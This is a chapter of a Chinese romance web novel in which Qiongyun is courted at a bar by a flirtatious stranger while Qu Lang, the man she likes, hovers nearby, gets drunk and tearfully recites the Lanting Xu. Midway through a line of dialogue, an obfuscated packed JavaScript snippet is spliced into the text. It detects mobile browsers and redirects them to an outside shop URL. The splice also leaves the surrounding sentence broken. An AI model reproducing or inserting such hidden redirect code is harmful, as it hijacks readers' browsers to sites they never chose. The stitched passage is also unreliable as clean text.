气味狂野之男子也完全视屈朗为空气,他瞥了眼琼云手边的酒,洛克杯、红琥珀色酒体、螺旋状橙皮点缀,以老到的经验迅速做出判断:“是Negroni吧?这酒挺烈的,这里的调酒师都默认Gin-Forward,也就是two parts Gin,剩下的Campari and Vermouth Rosso都是one part,相比equal parts更苦,也更烈,你第一次来酒吧就点Negroni,很出人意料,普通女生都喜欢喝甜一点的。”语罢,他潇洒地提起正在缓慢溶解冰球的威士忌浅酌一口,扬起下巴,使滚动吞落酒水的性感喉结更明显地展露在琼云面前。 好松弛,好志在必得,此人的装逼水平远在他之上——屈朗溜了。 琼云望着屈朗离去的背影,表面不动声色,内心鬼火直冒——这怂包竟然就这么走了!?这是当喜欢的女生被其他异性搭讪时应该表现出的态度吗?!什么东西!? 屈朗径直去找管悠,琼云看到他俩交头接耳地谈论了一番,片刻之后,屈朗似乎向管悠学习到了一些非常宝贵而且有效的经验,从卡座起身,再次向琼云走来,身上毫无刚才离开时的那股狼狈和消沉,取而代之的是小说绝对男主角的自信与坦然。 琼云内心有点小激动——这笨蛋终于开窍了,偶像剧男主吃醋发疯的名场面也会降临在自己身上吗?但会不会有一点尴尬啊?好紧张。 屈朗越走越近,琼云的心也跟着越跳越快,他没有丝毫犹豫,再次来到两人跟前,将双手撑在桌子上,整个人的气压非常低,像暴风雨前闷热湿重的空气,抓了一把洋葱圈,走了。 这洋葱圈有这么好吃吗? 琼云一整个大无语。 但屈朗并没有走远,只是坐到距离两人最近的一个空位上,往嘴里叼了片洋葱圈,一边缓慢咀嚼,一边看电影般注视着两人,他咀嚼的动作仿佛一头羊驼。 管悠是这么安慰他的:“你喜欢的女生被其他人搭讪这说明什么?说明你有眼光啊,你俩现在名不正言不顺的,又不是正式男女朋友,她愿意和别的男生接触,和你又有什么关系呢?何况你刚才被别的女生搭讪也没拒绝,凭什么要求她拒绝别的男生?做人不能太双标,这样很下头,她会讨厌你的。” 屈朗觉得很有道理,虽然有点不爽,但还是很有道理。 然后管悠出于对琼云的担忧又提醒道:“那男的一看就是情场老手,琼云年纪小,感情经历也少,你去旁边盯着,别让琼云被海王骗走。” 于是屈朗就来了,肩负护花使者的崇高使命。 “你很在意他,但他好像是个笨蛋。”气味狂野之男子心思亦敏锐异常,低声对琼云说道。 琼云被看穿,登时正襟危坐。 于是气味狂野之男子起身将凳子搬到了琼云身边坐下,以宽大的背影挡住屈朗的视野,再次使用他那低沉性感的气泡音在琼云耳边轻声说道:“你不想被他听到,就告诉我吧,我只是个与你萍水相逢的陌生人,今晚过后或许就永不再见,你可以把我当做他的替身,什么都可以向我倾诉,我可以拥有这份荣幸吗?” 假装安慰遭遇情感困境的女生然后趁虚而入吗? 琼云心中暗暗惊叹,这能驰骋情场的海王果然都有些个手段,可惜她不吃这一套。 “你俩靠太近了。”屈朗不知何时站到了两人身后,作出重要指示,冷不丁唤起了琼云学生时代对班主任神出鬼没的恐惧,被吓得一激灵。 “她性格比较内向,不喜欢不熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314706|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人靠她太近。”屈朗继续作出指示。 气味狂野之男子邪魅一笑:“你怎么知道她不喜欢,你很了解她吗?” “我认识她比你久,当然比你了解。” “恐怕不尽然。” “你坐回去。”屈朗用一种赶蚊虫的手势驱赶他,“你俩面对面不能聊吗?” “你坐回去吧。”琼云给个台阶下。 气味狂野之男子坐回去了,屈朗看着也顺眼了,薅了把鱿鱼丝,也回到自己的座位上。 琼云把话题岔开,继续与气味狂野之男子唠嗑,屈朗一会儿来薅把洋葱圈,一会儿来薅把鱿鱼丝,很快,两碟小零食就都被他完成了光盘行动,吃完了,他也就不再时常过来打扰。 但琼云被薅得产生了戒断反应,许久不见屈朗再过来,就自己扭头去看。 这一看不得了,屈朗正趴在桌子上睡大觉,喝空的马天尼杯子被他推到桌沿,摇摇欲坠,他的身体仍不安分,好几下都打向杯子所在的方位,琼云立刻跑过去,在千钧一发之际将杯子救回,然后推搡屈朗的胳膊,呼唤他。 他的身体摸起来滚烫,脸也通红,被搡得哼哼唧唧叫了几声,抬起头来,满脸泪痕,在灯光照耀下闪闪发光,整个人呈现出一种刚睡醒的懵懂状态。 “要回去了么?”他黏黏糊糊地问。 “嗯,回去吧,你喝多了。”琼云拍拍他的脸。 “你怎么跟他聊了那么久,你很喜欢他吗?” 琼云的良心受到了谴责,明明自己也喜欢他,为什么不告诉他,还要和别的异性合起伙来欺负他呢?可是他又为什么那么倔,告白被拒也不立刻回家去,这让她很难办啊。 “对不起。”于是她向他道歉。 “对不起什么?”泪水瞬间充盈屈朗的双眼,大颗大颗溢出眼眶,沿着脸颊滑落下来,他撑着桌子站起身,摇摇晃晃离开座位,立时跌到,双膝砸向地面。 琼云惊呼了一声,赶紧去扶,气味狂野之男子见状也赶过来帮忙,两人一人扛一边,只听屈朗口中念念有词,由轻到重,从缓至急:“永和九年,岁在癸丑,暮春之初,会于会稽山阴之兰亭,修禊事也……” 琼云心想,“苦难是文学的温床”这话果真不假,这一失恋一受伤一难过的,个个都变成大诗人大作家,但她仔细听下去,越听越觉得熟悉,从脑海深处搜索关键词,咔的一声清脆地跳出大段与之相关的记忆…… 这不是《兰亭集序》吗? 屈朗越背越激动,越背越快:“是日也,天朗气清!惠风和畅!仰观宇宙之大!俯察品类之盛!所以游目骋怀,足以极视听之娱,信可乐也!” “学校里搞活动,你上去表演过诗朗诵吗?这念得抑↘扬↗顿→挫↘的。”琼云与气味狂野之男子合力将屈朗扛回座位上,使劲时说话发音跟着高低起伏,“你在这里坐着,我去找管悠,然后我们就回去,别乱动,听到了吗?” “虽趣舍万殊,静躁不同,当其欣于所遇,暂得于己,快然自足,不知老之将至!” “……”看来已经完全沉浸在自己的世界里了。 琼云和气味狂野之男子道了谢,又告了别,转身去找管悠,可她放心不下屈朗,于是三步一回头。 屈朗侧对着舞台,身体大部分隐没在背光的阴影里,橘色或蓝色的柔光如同在他身后弥漫着的雾气,浓淡错落地勾勒出他的五官和轮廓,他字正腔圆地将《兰亭集序》继续背诵下去:“向之所欣,俯仰之间,已为陈迹,犹不能不以之兴怀,况修短随化,终期于尽!古人云:‘死生亦大矣。’岂不痛哉!”